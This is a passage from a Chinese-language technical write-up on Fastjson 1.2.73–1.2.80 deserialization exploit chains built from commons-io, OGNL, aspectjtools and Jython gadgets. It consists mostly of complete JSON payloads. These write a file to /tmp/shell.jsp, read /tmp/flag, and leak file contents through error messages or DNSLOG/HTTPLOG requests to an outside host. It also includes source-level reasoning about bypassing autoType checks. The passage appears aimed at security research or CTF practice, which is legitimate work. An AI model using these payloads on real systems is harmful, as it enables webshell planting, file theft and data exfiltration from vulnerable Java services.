    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
    "@type": "java.lang.String""something>8192"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "branch": {
    "@type": "org.apache.commons.io.output.WriterOutputStream",
    "writer": {
    "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
    "file": "/tmp/shell.jsp",
    "encoding": "UTF-8",
    "append": false
    },
    "charset": "UTF-8",
    "bufferSize": 1024,
    "writeImmediately": true
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "u": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "v": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    "w": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "org.apache.commons.io.input.XmlStreamReader",
    "is": {
    "@type": "org.apache.commons.io.input.TeeInputStream",
    "input": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.input"
    },
    "branch": {
    "$ref": "$.z.node.p.stream.delegate.reader.is.branch"
    },
    "closeBranch": true
    },
    "httpContentType": "text/xml",
    "lenient": false,
    "defaultEncoding": "UTF-8"
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    36,
    82
    ]
    }
    ]
    }
    }
    }
    },
    }
    32

3.5.2 读文件

3.5.2.1 返回包回显可以打印JSONObject的情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
{
"x": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"z": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
106,115,111,110
]
}]
}
}
}
},
"u": {
"$ref": "$.z.node.p.stream"
},
"v": {
"$ref": "$.u.bOM.bytes"
}
}
33
3.5.2.2 报错不一致、DNSLOG、HTTPLOG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
[{
"a": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
}
}, {
"b": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
}
},
{
"c": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
103
]
}]
}
}
}
}
},
{
"d": {
"$ref": "$[2].c.node.p.stream"
}
},
{
"e": {
"$ref": "$[3].d.bOM.bytes"
}
},{
"f": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String" {
"$ref": "$[4].e"
},
"start": 0,
"end": 0
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [1]
}]
}
}
}
}
},{
"g": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://error.DNSLOG"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
49
]
}]
}
}
}
}
},
{
"h": {
"$ref": "$[6].g.node.p.stream"
}
},
{
"i": {
"$ref": "$[7].h.bOM.bytes"
}
}]

g节点下的URLReader中url参数可以指定为dnslog或httplog用于观察
bytes中字节数组和文件内容不一致

  • 返回java.lang.ClassCastException: com.alibaba.fastjson.JSONArray cannot be cast to com.alibaba.fastjson.JSONObject异常
  • 触发URLReader的url请求,接收到DNSLOG/HTTPLOG
34
**bytes中字节数组和文件内容一致**
  • 返回com.alibaba.fastjson.JSONException: set property error, org.apache.commons.io.input.CharSequenceReader#charSequence异常
  • DNSLOG/HTTPLOG没有请求
35

3.6 aspectjtools利用链

适用版本:1.2.73~1.2.80
AspectJ用于aop开发,spring的业务中经常使用,帮助面向切面编程,因此这个依赖也可能是经常出现的

3.6.1 回显文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
},
"z":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/tmp/flag"
}
}
36

3.6.2 报错回显读取文件

利用3.6.1 读取文件后,org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit类加入mappings缓存中,此时可以绕过autoType使用,结合Character产生的报错,回显文件内容

注意,直接使用下面的poc,需要先试用3.6.1 将类加入mappings中

1
2
3
4
5
6
7
8
{
"@type": "java.lang.Character"{
"c": {
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "/tmp/flag"
}
}
}
37

3.6.3 注入依赖+报错回显文件

或者直接组合一个报错回显的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
"y": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
},
"z":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/tmp/flag"
},
"u": {
"@type": "java.lang.Character"{
"c": {
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "/tmp/flag"
}
}
}
}
38

3.6.4 DNSLOG/HTTPLOG读取文件

由于拼接DNSLOG包含{}等一些特殊符号,测试在windows上不能使用,这个没有验证

  • 使用3.6.1 注入依赖类 org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit
  • 发送poc结合httplog;注意HTTPLOG的这种方式,遇到#字符就会阶段,后面的内容不显示
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    {
    "x": {
    "@type": "java.lang.Exception",
    "@type": "ognl.OgnlException"
    },
    "y": {
    "@type": "java.lang.Class",
    "val": {
    "@type": "com.alibaba.fastjson.JSONObject",
    {
    "@type": "java.lang.String" "@type": "ognl.OgnlException",
    "_evaluation": ""
    }
    },
    "z": {
    "@type": "ognl.Evaluation",
    "node": {
    "@type": "ognl.ASTMethod",
    "p": {
    "@type": "ognl.OgnlParser",
    "stream": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
    "@type": "jdk.nashorn.api.scripting.URLReader",
    "url": {
    "@type": "java.lang.String"{
    "@type": "java.net.URL",
    "val": {
    "@type": "java.lang.String"{
    "@type": "java.util.Locale",
    "val": {
    "@type": "com.alibaba.fastjson.JSONObject",
    {
    "@type": "java.lang.String""@type": "java.util.Locale",
    "language": "http://127.0.0.1:8889/",
    "country": {
    "@type": "java.lang.String"[
    {
    "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
    "fileName": "/tmp/flag"
    }
    ]
    }
    }
    }
    },
    "charsetName": "UTF-8",
    "bufferSize": 1024
    },
    "boms": [
    {
    "@type": "org.apache.commons.io.ByteOrderMark",
    "charsetName": "UTF-8",
    "bytes": [
    1
    ]
    }
    ]
    }
    }
    }
    },
    "u": {
    "$ref": "$.z.node.p.stream"
    }
    }
    39

4. Poc的版本适配补充

4.1 JPython

4.1.1 低版本运行3.3.3中第一个poc

在网上的文章中,JPython的相关利用链,有说是1.2.76 ~ 1.2.80版本的,也有一些poc可以在低版本运行
1.2.72版本中,使用3.3.3 中的Poc,抛出异常:set property error, org.python.antlr.ParseException#type
原因是在org.python.antlr.ParseException#setType赋值时,因为参数类型不对报错了

4.1.2 改良的poc

这个poc也是从网上看到的,下方poc是通过setType来将org.python.core.PyObject类生成一个反序列化工具类并加入到ParserConfig.deserializers中的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

"a": {
"@type": "java.lang.Exception",
"@type": "org.python.antlr.ParseException",
},
"b": {
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String""@type": "org.python.antlr.ParseException",
"type": {}
}
}
}

java.lang.Classval参数是java.lang.String类型,使用StringCodec工具类来解析;由于紧跟着是{,因此又使用DefaultJSONParser解析后面的java.util.Locale

40

java.util.Locale类使用的MiscCodec

41

判断字段中是否是包含@type

42
43

此时使用javaBeanDeser来创建map中的实例

44

如图在对type参数复制时,使用TypeUtils.cast将Type的JSONObject类型转换为需要的PyObject类型

45

此时在ParseConfig.deserializer中已经有org.python.core.PyObject的缓存了

46
47
而在之前的poc中,直接使用ThrowableDeserializer工具类进行反序列化解析字段时,直接将JSONObject类型的type拿来使用,导致异常
48

对比一下1.2.76版本,为什么可以直接使用type: {}进行赋值,如图在ThrowableDeserializer对字段进行反序列化的地方增加了一个TypeUtils.cast根据字段类型将字段进行类型转换,使得反序列化成功

49

4.2 其他利用链

其他利用链,比如groovy中,CompilationFailedException没有无参构造方法,在JavaBeanDeserializer中,使用`creatorConstructor

50

对构造方法进行赋值,使用参数时,并没有调用Type.cast方法;对应类并没有生成对应的解析类,无法绕过autoType的检测

51

其他的poc对应的版本,在每个大标题开头标注了~